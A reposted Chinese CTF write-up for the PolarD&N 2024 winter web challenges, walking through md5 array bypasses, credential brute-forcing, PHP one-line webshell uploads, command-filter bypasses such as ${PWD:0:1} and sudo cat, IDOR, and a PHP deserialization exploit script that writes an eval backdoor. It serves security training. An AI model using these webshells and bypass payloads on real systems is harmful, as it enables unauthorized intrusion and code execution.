千千梦丶琪 发表于 2025-3-5 02:51:32

PolarD&N 2024冬季个人挑衅赛WEB

PolarD&N 2024冬季个人挑衅赛WEB

简单的导航站

进入题目后先注册一个账号,注册乐成后手动到登录界面举行登录,然后选择查看列表,出现如下代码
<?php
header("Content-Type:text/html;charset=utf-8");
show_source(__FILE__);
include('user.php');

$user1 = $_GET['user1'];
$user2 = $_GET['user2'];

if ($user1 != $user2) {
    if (md5($user1) === md5($user2)) {
      echo '用户名:' . $user;
    } else {
      echo 'MD5值校验出错啦啦啦......';
    }
} else {
    echo 'user不能相等!';
}
?>
一个简单的md5绕过,用数组即可
user1[]=1&user2[]=2
用get方法传入后可以看到所有用户名列表,管理员的也在此中。随后到管理员登录界面,本打算用这些用户名和自己的密码本举行爆破的,但这样数据量太大了,可能在什么地方藏了密码,ctrl+u看了一下前端代码,发现了 Admin1234! 估计这个就是密码,随后爆破用户名,得到用户名是P0la2adm1n,乐成登录,跳转到了文件上传界面
直接上传php一句话木马,乐成了,但是不知道详细路径,用dirsearch扫到了uploads文件夹,那么大概率就是在这下面了,前往一句话木马的位置,用find找一下flag的位置
cmd=system('find / -name "fl*"');
https://i-blog.csdnimg.cn/direct/2c6f08b436b54961aaa06a9f6ed8251e.png
发现不对,flag好像有点多,随后用蚁剑连接一下,直接查看验证flag的php文件内容
https://i-blog.csdnimg.cn/direct/387cc32385664419870efe0c4830a336.png
拿到flag
井字棋

F12查看源码,看到如下关键内容
https://i-blog.csdnimg.cn/direct/d7258913ce434335921d147f97794e67.png
可以得知想game.php发送winner为player的json数据即可得到flag
https://i-blog.csdnimg.cn/direct/aca8114fdfd14721abeedc013416c0f5.png
button

Ctrl+u查看源码,跳到script.js中查看详细内容,随后发现了一个疑似可以弹出flag路由以及对应参数
https://i-blog.csdnimg.cn/direct/45ea48d3982248f5a17987661000c8cd.png
前往该路由后f12即可拿到flag
狗黑子的RCE

第一个参数的过滤不完全,利用uniq代替cat,然后用反斜杠分割flag即可绕过。
第二个参数替换为空,那么双写绕过即可
https://i-blog.csdnimg.cn/direct/d81238986f9e491b9eedf256718626ba.png
xxmmll

用dirsearch可以扫到docker-compose.yml,前往查看可以发现flag被设置到环境变量的代码,提交即可,非预期
https://i-blog.csdnimg.cn/direct/b5d6b8be52bd46ecafb815227601eea7.png
Note

用dirsearch扫出了flag.txt,原来以为是假的,试着提交了一下,然后就过了???又是非预期解
https://i-blog.csdnimg.cn/direct/c7ba0268a5f24a2196d54be31faa3c61.png
赌王

先爆破转到到三个都一样的环境,随后可以得到提示
https://i-blog.csdnimg.cn/direct/969002ac58314d80add0088d79a9cd13.png
补上php后缀后前往,得到一个比大小的界面,用数组绕过
https://i-blog.csdnimg.cn/direct/b7b69e9e5d7c49eeae07f195e402fd9c.png
得到一个新的文件地址,前往访问,根据解释掉的提示可知将ip修改成1.1.1.1即可得到权限,随后在ping的ip后面接上要实验的命令即可
https://i-blog.csdnimg.cn/direct/414e99f7359645a0b8a9796045cc631e.png
任务cmd

进题之后扫目录得到login.php背景登录,先放着,爆破小明的登录密码是123123,进入后发现url处的id传递了xiaoming,将其改为xiaohei后乐成进入了小黑的信息界面
https://i-blog.csdnimg.cn/direct/b734820ea62d4d2ba2d2698645427699.png
推测电话处的内容为背景登录的密钥,随后在login.php再次举行爆破,得到账号密码分别为admin和flower,进入之后发现任务一是一个php文件,结合题目的cmd,尝试用cmd传递命令,乐成实验
https://i-blog.csdnimg.cn/direct/f487cb24b09e4daaa1abf2eec5ba4a06.png
ezezser

用dirsearch扫一下可以得知是git源码泄露,用gitHack下载源码到当地,发现还有个env.php,那么大致的思路就确定了,利用cookie写入序列化数据,在反序列化的时候触发getInfo方法,实验eval($this->key);将key的命令写成用file_put_contents向env.php写入木马即可,由于是private数据,在反序列化后要url编码,随后到env.php连接木马即可
脚本如下
<?php
error_reporting(0);
class backDoor {
    private $key="file_put_contents('env.php','<?php @eval(\$_POST[\'Kon\']);?>');";
    public function getInfo() {
      eval($this->key);
    }
}

class polar520
{
    private $polarday = '1';
    private $polarnight = '1';
    private $polar = false;
    private $class = 'info';

    public function __construct()
    {
      $this->class=new backDoor();
    }

    public function login($a, $b)
    {
      return $this > polarday === $a && $this > polarnight === $b;
    }

    public function __destruct()
    {
      $this->class->getInfo();
    }
}
$a=new polar520();
echo urlencode(serialize($a));

https://i-blog.csdnimg.cn/direct/25035306f16946bb921144061cd80733.png
https://i-blog.csdnimg.cn/direct/5849ab290eb84d76a6090a49c5d7c35e.png
坦诚相见

在no.php中发现过滤了一些和目录遍历相干的操作和flag,于是利用${PWD:0:1}来获取/,乐成读到根目录,但是无法读取flag的文件内容,看了下权限发现是权限不够
https://i-blog.csdnimg.cn/direct/470956f304bd4624a7ff161e98b573af.jpeg
于是利用sudo cat "${PWD:0:1}"f*读取,乐成拿到flag
https://i-blog.csdnimg.cn/direct/e2c10b944e3f429ab3d3f97d05d09078.jpeg

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: PolarD&N 2024冬季个人挑衅赛WEB